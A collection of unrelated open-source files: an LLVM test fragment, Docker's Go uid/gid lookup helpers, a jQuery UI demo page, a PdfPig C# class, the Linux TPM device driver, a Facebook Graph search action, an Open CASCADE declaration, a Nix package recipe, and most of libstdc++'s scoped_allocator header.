// CHECK: %[[REMAIN:.*]] = sub i32 {{.*}}, 16
// CHECK: %[[MEM:.*]] = bitcast %[[AGGR]]* %[[PTR2]] to i8*
// CHECK: call void @llvm.memset{{.*}}(i8* align {{[0-9]+}} %[[MEM]], i8 0, i32 %[[REMAIN]],
struct Aggr { int a, b; };
new Aggr[n] { 1, 2, 3 };
}
// SIO-LABEL: define void @_Z14constexpr_testv
void constexpr_test() {
// SIO: call i8* @_Zna{{.}}(i32 4)
new int[0+1]{0};
}
|
{
"pile_set_name": "Github"
}
|
../_includes/cmip6_glaciers_cplhist
../output_crop
|
{
"pile_set_name": "Github"
}
|
// +build !windows
package idtools
import (
"bytes"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"sync"
"github.com/docker/docker/pkg/system"
"github.com/opencontainers/runc/libcontainer/user"
)
var (
entOnce sync.Once
getentCmd string
)
func mkdirAs(path string, mode os.FileMode, ownerUID, ownerGID int, mkAll, chownExisting bool) error {
// make an array containing the original path asked for, plus (for mkAll == true)
// all path components leading up to the complete path that don't exist before we MkdirAll
// so that we can chown all of them properly at the end. If chownExisting is false, we won't
// chown the full directory path if it exists
var paths []string
if _, err := os.Stat(path); err != nil && os.IsNotExist(err) {
paths = []string{path}
} else if err == nil && chownExisting {
// short-circuit--we were called with an existing directory and chown was requested
return os.Chown(path, ownerUID, ownerGID)
} else if err == nil {
// nothing to do; directory path fully exists already and chown was NOT requested
return nil
}
if mkAll {
// walk back to "/" looking for directories which do not exist
// and add them to the paths array for chown after creation
dirPath := path
for {
dirPath = filepath.Dir(dirPath)
if dirPath == "/" {
break
}
if _, err := os.Stat(dirPath); err != nil && os.IsNotExist(err) {
paths = append(paths, dirPath)
}
}
if err := system.MkdirAll(path, mode); err != nil && !os.IsExist(err) {
return err
}
} else {
if err := os.Mkdir(path, mode); err != nil && !os.IsExist(err) {
return err
}
}
// even if it existed, we will chown the requested path + any subpaths that
// didn't exist when we called MkdirAll
for _, pathComponent := range paths {
if err := os.Chown(pathComponent, ownerUID, ownerGID); err != nil {
return err
}
}
return nil
}
// CanAccess takes a valid (existing) directory and a uid, gid pair and determines
// if that uid, gid pair has access (execute bit) to the directory
func CanAccess(path string, uid, gid int) bool {
statInfo, err := system.Stat(path)
if err != nil {
return false
}
fileMode := os.FileMode(statInfo.Mode())
permBits := fileMode.Perm()
return accessible(statInfo.UID() == uint32(uid),
statInfo.GID() == uint32(gid), permBits)
}
func accessible(isOwner, isGroup bool, perms os.FileMode) bool {
if isOwner && (perms&0100 == 0100) {
return true
}
if isGroup && (perms&0010 == 0010) {
return true
}
if perms&0001 == 0001 {
return true
}
return false
}
// LookupUser uses traditional local system files lookup (from libcontainer/user) on a username,
// followed by a call to `getent` for supporting host configured non-files passwd and group dbs
func LookupUser(username string) (user.User, error) {
// first try a local system files lookup using existing capabilities
usr, err := user.LookupUser(username)
if err == nil {
return usr, nil
}
// local files lookup failed; attempt to call `getent` to query configured passwd dbs
usr, err = getentUser(fmt.Sprintf("%s %s", "passwd", username))
if err != nil {
return user.User{}, err
}
return usr, nil
}
// LookupUID uses traditional local system files lookup (from libcontainer/user) on a uid,
// followed by a call to `getent` for supporting host configured non-files passwd and group dbs
func LookupUID(uid int) (user.User, error) {
// first try a local system files lookup using existing capabilities
usr, err := user.LookupUid(uid)
if err == nil {
return usr, nil
}
// local files lookup failed; attempt to call `getent` to query configured passwd dbs
return getentUser(fmt.Sprintf("%s %d", "passwd", uid))
}
func getentUser(args string) (user.User, error) {
reader, err := callGetent(args)
if err != nil {
return user.User{}, err
}
users, err := user.ParsePasswd(reader)
if err != nil {
return user.User{}, err
}
if len(users) == 0 {
return user.User{}, fmt.Errorf("getent failed to find passwd entry for %q", strings.Split(args, " ")[1])
}
return users[0], nil
}
// LookupGroup uses traditional local system files lookup (from libcontainer/user) on a group name,
// followed by a call to `getent` for supporting host configured non-files passwd and group dbs
func LookupGroup(groupname string) (user.Group, error) {
// first try a local system files lookup using existing capabilities
group, err := user.LookupGroup(groupname)
if err == nil {
return group, nil
}
// local files lookup failed; attempt to call `getent` to query configured group dbs
return getentGroup(fmt.Sprintf("%s %s", "group", groupname))
}
// LookupGID uses traditional local system files lookup (from libcontainer/user) on a group ID,
// followed by a call to `getent` for supporting host configured non-files passwd and group dbs
func LookupGID(gid int) (user.Group, error) {
// first try a local system files lookup using existing capabilities
group, err := user.LookupGid(gid)
if err == nil {
return group, nil
}
// local files lookup failed; attempt to call `getent` to query configured group dbs
return getentGroup(fmt.Sprintf("%s %d", "group", gid))
}
func getentGroup(args string) (user.Group, error) {
reader, err := callGetent(args)
if err != nil {
return user.Group{}, err
}
groups, err := user.ParseGroup(reader)
if err != nil {
return user.Group{}, err
}
if len(groups) == 0 {
return user.Group{}, fmt.Errorf("getent failed to find groups entry for %q", strings.Split(args, " ")[1])
}
return groups[0], nil
}
func callGetent(args string) (io.Reader, error) {
entOnce.Do(func() { getentCmd, _ = resolveBinary("getent") })
// if no `getent` command on host, can't do anything else
if getentCmd == "" {
return nil, fmt.Errorf("")
}
out, err := execCmd(getentCmd, args)
if err != nil {
exitCode, errC := system.GetExitCode(err)
if errC != nil {
return nil, err
}
switch exitCode {
case 1:
return nil, fmt.Errorf("getent reported invalid parameters/database unknown")
case 2:
terms := strings.Split(args, " ")
return nil, fmt.Errorf("getent unable to find entry %q in %s database", terms[1], terms[0])
case 3:
return nil, fmt.Errorf("getent database doesn't support enumeration")
default:
return nil, err
}
}
return bytes.NewReader(out), nil
}
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>jQuery UI Position - Image Cycler</title>
<link rel="stylesheet" href="../../themes/base/jquery.ui.all.css">
<script src="../../jquery-1.9.1.js"></script>
<script src="../../ui/jquery.ui.core.js"></script>
<script src="../../ui/jquery.ui.widget.js"></script>
<script src="../../ui/jquery.ui.position.js"></script>
<link rel="stylesheet" href="../demos.css">
<style>
body {
margin: 0;
}
#container {
overflow: hidden;
position: relative;
height: 400px;
}
img {
position: absolute;
}
</style>
<script>
$(function() {
// TODO refactor into a widget and get rid of these plugin methods
$.fn.left = function( using ) {
return this.position({
my: "right middle",
at: "left+25 middle",
of: "#container",
collision: "none",
using: using
});
};
$.fn.right = function( using ) {
return this.position({
my: "left middle",
at: "right-25 middle",
of: "#container",
collision: "none",
using: using
});
};
$.fn.center = function( using ) {
return this.position({
my: "center middle",
at: "center middle",
of: "#container",
using: using
});
};
$( "img:eq(0)" ).left();
$( "img:eq(1)" ).center();
$( "img:eq(2)" ).right();
function animate( to ) {
$( this ).stop( true, false ).animate( to );
}
function next( event ) {
event.preventDefault();
$( "img:eq(2)" ).center( animate );
$( "img:eq(1)" ).left( animate )
$( "img:eq(0)" ).right().appendTo( "#container" );
}
function previous( event ) {
event.preventDefault();
$( "img:eq(0)" ).center( animate );
$( "img:eq(1)" ).right( animate );
$( "img:eq(2)" ).left().prependTo( "#container" );
}
$( "#previous" ).click( previous );
$( "#next" ).click( next );
$( "img" ).click(function( event ) {
$( "img" ).index( this ) === 0 ? previous( event ) : next( event );
});
$( window ).resize(function() {
$( "img:eq(0)" ).left( animate );
$( "img:eq(1)" ).center( animate );
$( "img:eq(2)" ).right( animate );
});
});
</script>
</head>
<body>
<div id="container">
<img src="images/earth.jpg" width="458" height="308" alt="earth">
<img src="images/flight.jpg" width="512" height="307" alt="flight">
<img src="images/rocket.jpg" width="300" height="353" alt="rocket">
<a id="previous" href="#">Previous</a>
<a id="next" href="#">Next</a>
</div>
<div class="demo-description">
<p>A photoviewer prototype using Position to place images at the center, left and right and cycle them.
<br>Use the links at the top to cycle, or click on the images on the left and right.
<br>Note how the images are repositioned when resizing the window.
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
namespace UglyToad.PdfPig.Content
{
using Core;
using Graphics.Colors;
using PdfFonts;
/// <summary>
/// A glyph or combination of glyphs (characters) drawn by a PDF content stream.
/// </summary>
public class Letter
{
/// <summary>
/// The text for this letter or unicode character.
/// </summary>
public string Value { get; }
/// <summary>
/// Text orientation of the letter.
/// </summary>
public TextOrientation TextOrientation { get; }
/// <summary>
/// The placement position of the character in PDF space. See <see cref="StartBaseLine"/>
/// </summary>
public PdfPoint Location => StartBaseLine;
/// <summary>
/// The placement position of the character in PDF space (the start point of the baseline). See <see cref="Location"/>
/// </summary>
public PdfPoint StartBaseLine { get; }
/// <summary>
/// The end point of the baseline.
/// </summary>
public PdfPoint EndBaseLine { get; }
/// <summary>
/// The width occupied by the character within the PDF content.
/// </summary>
public double Width { get; }
/// <summary>
/// Position of the bounding box for the glyph, this is the box surrounding the visible glyph as it appears on the page.
/// For example letters with descenders, p, j, etc., will have a box extending below the <see cref="Location"/> they are placed at.
/// The width of the glyph may also be more or less than the <see cref="Width"/> allocated for the character in the PDF content.
/// </summary>
public PdfRectangle GlyphRectangle { get; }
/// <summary>
/// Size as defined in the PDF file. This is not equivalent to font size in points but is relative to other font sizes on the page.
/// </summary>
public double FontSize { get; }
/// <summary>
/// The name of the font.
/// </summary>
public string FontName => Font?.Name;
/// <summary>
/// Details about the font for this letter.
/// </summary>
public FontDetails Font { get; }
/// <summary>
/// The color of the letter.
/// </summary>
public IColor Color { get; }
/// <summary>
/// The size of the font in points.
/// <para>This is considered experimental because the calculated value is incorrect for some documents at present.</para>
/// </summary>
public double PointSize { get; }
/// <summary>
/// Sequence number of the ShowText operation that printed this letter.
/// </summary>
public int TextSequence { get; }
/// <summary>
/// Create a new letter to represent some text drawn by the Tj operator.
/// </summary>
public Letter(string value, PdfRectangle glyphRectangle,
PdfPoint startBaseLine,
PdfPoint endBaseLine,
double width,
double fontSize,
FontDetails font,
IColor color,
double pointSize,
int textSequence)
{
Value = value;
GlyphRectangle = glyphRectangle;
StartBaseLine = startBaseLine;
EndBaseLine = endBaseLine;
Width = width;
FontSize = fontSize;
Font = font;
Color = color ?? GrayColor.Black;
PointSize = pointSize;
TextSequence = textSequence;
TextOrientation = GetTextOrientation();
}
private TextOrientation GetTextOrientation()
{
if (System.Math.Abs(StartBaseLine.Y - EndBaseLine.Y) < 10e-5)
{
if (StartBaseLine.X > EndBaseLine.X)
{
return TextOrientation.Rotate180;
}
return TextOrientation.Horizontal;
}
if (System.Math.Abs(StartBaseLine.X - EndBaseLine.X) < 10e-5)
{
if (StartBaseLine.Y > EndBaseLine.Y)
{
return TextOrientation.Rotate90;
}
return TextOrientation.Rotate270;
}
return TextOrientation.Other;
}
/// <summary>
/// Produces a string representation of the letter and its position.
/// </summary>
public override string ToString()
{
return $"{Value} {Location} {FontName} {PointSize}";
}
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2004 IBM Corporation
* Authors:
* Leendert van Doorn <leendert@watson.ibm.com>
* Dave Safford <safford@watson.ibm.com>
* Reiner Sailer <sailer@watson.ibm.com>
* Kylene Hall <kjhall@us.ibm.com>
*
* Copyright (C) 2013 Obsidian Research Corp
* Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
*
* Device file system interface to the TPM
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation, version 2 of the
* License.
*
*/
#include <linux/slab.h>
#include <linux/uaccess.h>
#include "tpm.h"
struct file_priv {
struct tpm_chip *chip;
/* Data passed to and from the tpm via the read/write calls */
atomic_t data_pending;
struct mutex buffer_mutex;
struct timer_list user_read_timer; /* user needs to claim result */
struct work_struct work;
u8 data_buffer[TPM_BUFSIZE];
};
static void user_reader_timeout(unsigned long ptr)
{
struct file_priv *priv = (struct file_priv *)ptr;
schedule_work(&priv->work);
}
static void timeout_work(struct work_struct *work)
{
struct file_priv *priv = container_of(work, struct file_priv, work);
mutex_lock(&priv->buffer_mutex);
atomic_set(&priv->data_pending, 0);
memset(priv->data_buffer, 0, sizeof(priv->data_buffer));
mutex_unlock(&priv->buffer_mutex);
}
static int tpm_open(struct inode *inode, struct file *file)
{
struct tpm_chip *chip =
container_of(inode->i_cdev, struct tpm_chip, cdev);
struct file_priv *priv;
/* It's assured that the chip will be opened just once,
* by the check of is_open variable, which is protected
* by driver_lock. */
if (test_and_set_bit(0, &chip->is_open)) {
dev_dbg(chip->pdev, "Another process owns this TPM\n");
return -EBUSY;
}
priv = kzalloc(sizeof(*priv), GFP_KERNEL);
if (priv == NULL) {
clear_bit(0, &chip->is_open);
return -ENOMEM;
}
priv->chip = chip;
atomic_set(&priv->data_pending, 0);
mutex_init(&priv->buffer_mutex);
setup_timer(&priv->user_read_timer, user_reader_timeout,
(unsigned long)priv);
INIT_WORK(&priv->work, timeout_work);
file->private_data = priv;
get_device(chip->pdev);
return 0;
}
static ssize_t tpm_read(struct file *file, char __user *buf,
size_t size, loff_t *off)
{
struct file_priv *priv = file->private_data;
ssize_t ret_size;
int rc;
del_singleshot_timer_sync(&priv->user_read_timer);
flush_work(&priv->work);
ret_size = atomic_read(&priv->data_pending);
if (ret_size > 0) { /* relay data */
ssize_t orig_ret_size = ret_size;
if (size < ret_size)
ret_size = size;
mutex_lock(&priv->buffer_mutex);
rc = copy_to_user(buf, priv->data_buffer, ret_size);
memset(priv->data_buffer, 0, orig_ret_size);
if (rc)
ret_size = -EFAULT;
mutex_unlock(&priv->buffer_mutex);
}
atomic_set(&priv->data_pending, 0);
return ret_size;
}
static ssize_t tpm_write(struct file *file, const char __user *buf,
size_t size, loff_t *off)
{
struct file_priv *priv = file->private_data;
size_t in_size = size;
ssize_t out_size;
/* cannot perform a write until the read has cleared
either via tpm_read or a user_read_timer timeout.
This also prevents splitted buffered writes from blocking here.
*/
if (atomic_read(&priv->data_pending) != 0)
return -EBUSY;
if (in_size > TPM_BUFSIZE)
return -E2BIG;
mutex_lock(&priv->buffer_mutex);
if (copy_from_user
(priv->data_buffer, (void __user *) buf, in_size)) {
mutex_unlock(&priv->buffer_mutex);
return -EFAULT;
}
/* atomic tpm command send and result receive */
out_size = tpm_transmit(priv->chip, priv->data_buffer,
sizeof(priv->data_buffer));
if (out_size < 0) {
mutex_unlock(&priv->buffer_mutex);
return out_size;
}
atomic_set(&priv->data_pending, out_size);
mutex_unlock(&priv->buffer_mutex);
/* Set a timeout by which the reader must come claim the result */
mod_timer(&priv->user_read_timer, jiffies + (60 * HZ));
return in_size;
}
/*
* Called on file close
*/
static int tpm_release(struct inode *inode, struct file *file)
{
struct file_priv *priv = file->private_data;
del_singleshot_timer_sync(&priv->user_read_timer);
flush_work(&priv->work);
file->private_data = NULL;
atomic_set(&priv->data_pending, 0);
clear_bit(0, &priv->chip->is_open);
put_device(priv->chip->pdev);
kfree(priv);
return 0;
}
const struct file_operations tpm_fops = {
.owner = THIS_MODULE,
.llseek = no_llseek,
.open = tpm_open,
.read = tpm_read,
.write = tpm_write,
.release = tpm_release,
};
|
{
"pile_set_name": "Github"
}
|
using System.ComponentModel.Composition;
using System.Net.Http;
using System.Threading.Tasks;
using System.Web;
using Newtonsoft.Json.Linq;
using Microsoft.Deployment.Common.ActionModel;
using Microsoft.Deployment.Common.Actions;
namespace Microsoft.Deployment.Actions.Custom.Facebook
{
[Export(typeof(IAction))]
public class SearchFacebookPage : BaseAction
{
public override async Task<ActionResponse> ExecuteActionAsync(ActionRequest request)
{
string clientId = request.DataStore.GetValue("FacebookClientId");
string clientSecret = request.DataStore.GetValue("FacebookClientSecret");
string searchPage = request.DataStore.GetValue("FacebookPage");
string requestUri = $"https://graph.facebook.com/oauth/access_token?grant_type=client_credentials&client_id={clientId}&client_secret={clientSecret}";
HttpResponseMessage response;
string responseObj;
using (HttpClient client = new HttpClient())
{
response = await client.GetAsync(requestUri);
responseObj = await response.Content.ReadAsStringAsync();
if (!response.IsSuccessStatusCode)
{
return new ActionResponse(ActionStatus.FailureExpected, responseObj);
}
string accessToken = JObject.Parse(responseObj)["access_token"].ToString();
string search = HttpUtility.UrlEncode(searchPage);
string searchRequestUri = $"https://graph.facebook.com/search?access_token={accessToken}&type=page&q={search}";
response = await client.GetAsync(searchRequestUri);
}
responseObj = await response.Content.ReadAsStringAsync();
if (!response.IsSuccessStatusCode)
{
return new ActionResponse(ActionStatus.FailureExpected, responseObj);
}
return new ActionResponse(ActionStatus.Success, responseObj);
}
}
}
|
{
"pile_set_name": "Github"
}
|
-- Created on: 1993-03-02
-- Created by: Philippe DAUTRY
-- Copyright (c) 1993-1999 Matra Datavision
-- Copyright (c) 1999-2014 OPEN CASCADE SAS
--
-- This file is part of Open CASCADE Technology software library.
--
-- This library is free software; you can redistribute it and/or modify it under
-- the terms of the GNU Lesser General Public License version 2.1 as published
-- by the Free Software Foundation, with special exception defined in the file
-- OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
-- distribution for complete text of the license and disclaimer of any warranty.
--
-- Alternatively, this file may be used under the terms of Open CASCADE
-- commercial license or contractual agreement.
deferred class ElementarySurface from PGeom inherits Surface from PGeom
---Purpose : This class defines the general behaviour of the
-- following elementary surfaces : Plane,
-- CylindricalSurface, ConicalSurface,
-- SphericalSurface, ToroidalSurface.
--
-- All these entities are located in 3D space with an axis
-- placement (Location point, XAxis, YAxis, ZAxis). It is
-- their local coordinate system.
--
---See Also : ElementarySurface from Geom.
uses Ax3 from gp
is
Initialize;
---Purpose: Initializes the field(s) with default value(s).
---Level: Internal
Initialize(aPosition : Ax3 from gp);
---Purpose: Initializes the fields with these values.
---Level: Internal
Position (me: mutable; aPosition : Ax3 from gp);
---Purpose : Set the field position with <aPosition>.
---Level: Internal
Position (me) returns Ax3 from gp;
--- Purpose : Returns the value of the field position.
---Level: Internal
fields
position : Ax3 from gp is protected;
end;
|
{
"pile_set_name": "Github"
}
|
{ stdenv
, buildPythonPackage
, isPy27
, pathlib
, fetchPypi
, pillow
, psutil
, imageio-ffmpeg
, pytest
, numpy
, isPy3k
, ffmpeg_3
, futures
, enum34
}:
buildPythonPackage rec {
pname = "imageio";
version = "2.9.0";
disabled = isPy27;
src = fetchPypi {
sha256 = "52ddbaeca2dccf53ba2d6dec5676ca7bc3b2403ef8b37f7da78b7654bb3e10f0";
inherit pname version;
};
checkInputs = [ pytest psutil ] ++ stdenv.lib.optionals isPy3k [
imageio-ffmpeg ffmpeg_3
];
propagatedBuildInputs = [ numpy pillow ];
checkPhase = ''
export IMAGEIO_USERDIR="$TMP"
export IMAGEIO_NO_INTERNET="true"
export HOME="$(mktemp -d)"
py.test
'';
# For some reason, importing imageio also imports xml on Nix, see
# https://github.com/imageio/imageio/issues/395
# Also, there are tests that test the downloading of ffmpeg if it's not installed.
# "Uncomment" those by renaming.
postPatch = ''
substituteInPlace tests/test_meta.py --replace '"urllib",' "\"urllib\",\"xml\","
substituteInPlace tests/test_ffmpeg.py --replace 'test_get_exe_installed' 'get_exe_installed'
'';
meta = with stdenv.lib; {
description = "Library for reading and writing a wide range of image, video, scientific, and volumetric data formats";
homepage = "http://imageio.github.io/";
license = licenses.bsd2;
};
}
|
{
"pile_set_name": "Github"
}
|
// <scoped_allocator> -*- C++ -*-
// Copyright (C) 2011-2014 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.
// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
// <http://www.gnu.org/licenses/>.
/** @file include/scoped_allocator
* This is a Standard C++ Library header.
*/
#ifndef _SCOPED_ALLOCATOR
#define _SCOPED_ALLOCATOR 1
#pragma GCC system_header
#if __cplusplus < 201103L
# include <bits/c++0x_warning.h>
#else
#include <utility>
#include <tuple>
#include <bits/alloc_traits.h>
namespace std _GLIBCXX_VISIBILITY(default)
{
_GLIBCXX_BEGIN_NAMESPACE_VERSION
template<template<typename> class _Pred, typename... _Allocs>
struct __any_of;
template<template<typename> class _Pred, typename _Alloc, typename... _Allocs>
struct __any_of<_Pred, _Alloc, _Allocs...>
: __or_<_Pred<_Alloc>, __any_of<_Pred, _Allocs...>>
{ };
template<template<typename> class _Pred, typename _Alloc>
struct __any_of<_Pred, _Alloc>
: _Pred<_Alloc>
{ };
/**
* @addtogroup allocators
* @{
*/
template<typename _Alloc>
struct __propagate_on_copy
: allocator_traits<_Alloc>::propagate_on_container_copy_assignment
{ };
template<typename _Alloc>
struct __propagate_on_move
: allocator_traits<_Alloc>::propagate_on_container_move_assignment
{ };
template<typename _Alloc>
struct __propagate_on_swap
: allocator_traits<_Alloc>::propagate_on_container_swap
{ };
template<typename _Alloc>
inline auto
__do_outermost(_Alloc& __a, _Alloc*) -> decltype(__a.outer_allocator())
{ return __a.outer_allocator(); }
template<typename _Alloc>
inline _Alloc&
__do_outermost(_Alloc& __a, ...)
{ return __a; }
// TODO: make recursive (see note in 20.12.4/1)
template<typename _Alloc>
inline auto
__outermost(_Alloc& __a) -> decltype(__do_outermost(__a, &__a))
{ return __do_outermost(__a, &__a); }
template<typename _OuterAlloc, typename... _InnerAllocs>
class scoped_allocator_adaptor;
template<typename...>
struct __inner_type_impl;
template<typename _Outer>
struct __inner_type_impl<_Outer>
{
typedef scoped_allocator_adaptor<_Outer> __type;
__inner_type_impl() = default;
__inner_type_impl(const __inner_type_impl&) = default;
__inner_type_impl(__inner_type_impl&&) = default;
template<typename _Alloc>
__inner_type_impl(const __inner_type_impl<_Alloc>& __other)
{ }
template<typename _Alloc>
__inner_type_impl(__inner_type_impl<_Alloc>&& __other)
{ }
__type&
_M_get(__type* __p) noexcept { return *__p; }
const __type&
_M_get(const __type* __p) const noexcept { return *__p; }
tuple<>
_M_tie() const noexcept { return tuple<>(); }
bool
operator==(const __inner_type_impl&) const noexcept
{ return true; }
};
template<typename _Outer, typename _InnerHead, typename... _InnerTail>
struct __inner_type_impl<_Outer, _InnerHead, _InnerTail...>
{
typedef scoped_allocator_adaptor<_InnerHead, _InnerTail...> __type;
__inner_type_impl() = default;
__inner_type_impl(const __inner_type_impl&) = default;
__inner_type_impl(__inner_type_impl&&) = default;
template<typename... _Allocs>
__inner_type_impl(const __inner_type_impl<_Allocs...>& __other)
: _M_inner(__other._M_inner) { }
template<typename... _Allocs>
__inner_type_impl(__inner_type_impl<_Allocs...>&& __other)
: _M_inner(std::move(__other._M_inner)) { }
template<typename... _Args>
explicit
__inner_type_impl(_Args&&... __args)
: _M_inner(std::forward<_Args>(__args)...) { }
__type&
_M_get(void*) noexcept { return _M_inner; }
const __type&
_M_get(const void*) const noexcept { return _M_inner; }
tuple<const _InnerHead&, const _InnerTail&...>
_M_tie() const noexcept
{ return _M_inner._M_tie(); }
bool
operator==(const __inner_type_impl& __other) const noexcept
{ return _M_inner == __other._M_inner; }
private:
template<typename...> friend class __inner_type_impl;
template<typename, typename...> friend class scoped_allocator_adaptor;
__type _M_inner;
};
/// Primary class template.
template<typename _OuterAlloc, typename... _InnerAllocs>
class scoped_allocator_adaptor
: public _OuterAlloc
{
typedef allocator_traits<_OuterAlloc> __traits;
typedef __inner_type_impl<_OuterAlloc, _InnerAllocs...> __inner_type;
__inner_type _M_inner;
template<typename _Outer, typename... _Inner>
friend class scoped_allocator_adaptor;
template<typename...>
friend class __inner_type_impl;
tuple<const _OuterAlloc&, const _InnerAllocs&...>
_M_tie() const noexcept
{ return std::tuple_cat(std::tie(outer_allocator()), _M_inner._M_tie()); }
template<typename _Alloc>
using __outermost_type = typename
std::decay<decltype(__outermost(std::declval<_Alloc&>()))>::type;
template<typename _Alloc>
using __outermost_alloc_traits
= allocator_traits<__outermost_type<_Alloc>>;
template<typename _Tp, typename... _Args>
void
_M_construct(__uses_alloc0, _Tp* __p, _Args&&... __args)
{
typedef __outermost_alloc_traits<scoped_allocator_adaptor> _O_traits;
_O_traits::construct(__outermost(*this), __p,
std::forward<_Args>(__args)...);
}
typedef __uses_alloc1<typename __inner_type::__type> __uses_alloc1_;
typedef __uses_alloc2<typename __inner_type::__type> __uses_alloc2_;
template<typename _Tp, typename... _Args>
void
_M_construct(__uses_alloc1_, _Tp* __p, _Args&&... __args)
{
typedef __outermost_alloc_traits<scoped_allocator_adaptor> _O_traits;
_O_traits::construct(__outermost(*this), __p,
allocator_arg, inner_allocator(),
std::forward<_Args>(__args)...);
}
template<typename _Tp, typename... _Args>
void
_M_construct(__uses_alloc2_, _Tp* __p, _Args&&... __args)
{
typedef __outermost_alloc_traits<scoped_allocator_adaptor> _O_traits;
_O_traits::construct(__outermost(*this), __p,
std::forward<_Args>(__args)...,
inner_allocator());
}
template<typename _Alloc>
static _Alloc
_S_select_on_copy(const _Alloc& __a)
{
typedef allocator_traits<_Alloc> __a_traits;
return __a_traits::select_on_container_copy_construction(__a);
}
template<std::size_t... _Indices>
scoped_allocator_adaptor(tuple<const _OuterAlloc&,
const _InnerAllocs&...> __refs,
_Index_tuple<_Indices...>)
: _OuterAlloc(_S_select_on_copy(std::get<0>(__refs))),
_M_inner(_S_select_on_copy(std::get<_Indices+1>(__refs))...)
{ }
public:
typedef _OuterAlloc outer_allocator_type;
typedef typename __inner_type::__type inner_allocator_type;
typedef typename __traits::value_type value_type;
typedef typename __traits::size_type size_type;
typedef typename __traits::difference_type difference_type;
typedef typename __traits::pointer pointer;
typedef typename __traits::const_pointer const_pointer;
typedef typename __traits::void_pointer void_pointer;
typedef typename __traits::const_void_pointer const_void_pointer;
typedef typename conditional<
__any_of<__propagate_on_copy, _OuterAlloc, _InnerAllocs...>::value,
true_type, false_type>::type propagate_on_container_copy_assignment;
typedef typename conditional<
__any_of<__propagate_on_move, _OuterAlloc, _InnerAllocs...>::value,
true_type, false_type>::type propagate_on_container_move_assignment;
typedef typename conditional<
__any_of<__propagate_on_swap, _OuterAlloc, _InnerAllocs...>::value,
true_type, false_type>::type propagate_on_container_swap;
template <class _Tp>
struct rebind
{
typedef scoped_allocator_adaptor<
typename __traits::template rebind_alloc<_Tp>,
_InnerAllocs...> other;
};
scoped_allocator_adaptor() : _OuterAlloc(), _M_inner() { }
template<typename _Outer2>
scoped_allocator_adaptor(_Outer2&& __outer,
const _InnerAllocs&... __inner)
: _OuterAlloc(std::forward<_Outer2>(__outer)),
_M_inner(__inner...)
{ }
scoped_allocator_adaptor(const scoped_allocator_adaptor& __other)
: _OuterAlloc(__other.outer_allocator()),
_M_inner(__other._M_inner)
{ }
scoped_allocator_adaptor(scoped_allocator_adaptor&& __other)
: _OuterAlloc(std::move(__other.outer_allocator())),
_M_inner(std::move(__other._M_inner))
{ }
template<typename _Outer2>
scoped_allocator_adaptor(
const scoped_allocator_adaptor<_Outer2, _InnerAllocs...>& __other)
: _OuterAlloc(__other.outer_allocator()),
_M_inner(__other._M_inner)
{ }
template<typename _Outer2>
scoped_allocator_adaptor(
scoped_allocator_adaptor<_Outer2, _InnerAllocs...>&& __other)
: _OuterAlloc(std::move(__other.outer_allocator())),
_M_inner(std::move(__other._M_inner))
{ }
inner_allocator_type& inner_allocator() noexcept
{ return _M_inner._M_get(this); }
const inner_allocator_type& inner_allocator() const noexcept
{ return _M_inner._M_get(this); }
outer_allocator_type& outer_allocator() noexcept
{ return static_cast<_OuterAlloc&>(*this); }
const outer_allocator_type& outer_allocator() const noexcept
{ return static_cast<const _OuterAlloc&>(*this); }
pointer allocate(size_type __n)
{ return __traits::allocate(outer_allocator(), __n); }
pointer allocate(size_type __n, const_void_pointer __hint)
{ return __traits::allocate(outer_allocator(), __n, __hint); }
void deallocate(pointer __p, size_type __n)
{ return __traits::deallocate(outer_allocator(), __p, __n); }
size_type max_size() const
{ return __traits::max_size(outer_allocator()); }
template<typename _Tp, typename... _Args>
void construct(_Tp* __p, _Args&&... __args)
{
auto& __inner = inner_allocator();
auto __use_tag
= __use_alloc<_Tp, inner_allocator_type, _Args...>(__inner);
_M_construct(__use_tag, __p, std::forward<_Args>(__args)...);
}
template<typename _T1, typename _T2, typename... _Args1,
typename... _Args2>
void
construct(pair<_T1, _T2>* __p, piecewise_construct_t,
tuple<_Args1...> __x, tuple<_Args2...> __y)
{
// _GLIBCXX_RESOLVE_LIB_DEFECTS
// 2203. wrong argument types for piecewise construction
auto& __inner = inner_allocator();
auto __x_use_tag
= __use_alloc<_T1, inner_allocator_type, _Args1...>(__inner);
auto __y_use_tag
= __use_alloc<_T2, inner_allocator_type, _Args2...>(__inner);
typedef __outermost_alloc_traits<scoped_allocator_adaptor> _O_traits;
_O_traits::construct(__outermost(*this), __p, piecewise_construct,
_M_construct_p(__x_use_tag, __x),
_M_construct_p(__y_use_tag, __y));
}
template<typename _T1, typename _T2>
void
construct(pair<_T1, _T2>* __p)
{ construct(__p, piecewise_construct, tuple<>(), tuple<>()); }
template<typename _T1, typename _T2, typename _Up, typename _Vp>
void
construct(pair<_T1, _T2>* __p, _Up&& __u, _Vp&& __v)
{
construct(__p, piecewise_construct,
std::forward_as_tuple(std::forward<_Up>(__u)),
std::forward_as_tuple(std::forward<_Vp>(__v)));
}
template<typename _T1, typename _T2, typename _Up, typename _Vp>
void
construct(pair<_T1, _T2>* __p, const pair<_Up, _Vp>& __x)
{
construct(__p, piecewise_construct,
std::forward_as_tuple(__x.first),
std::forward_as_tuple(__x.second));
}
template<typename _T1, typename _T2, typename _Up, typename _Vp>
void
construct(pair<_T1, _T2>* __p, pair<_Up, _Vp>&& __x)
{
construct(__p, piecewise_construct,
std::forward_as_tuple(std::forward<_Up>(__x.first)),
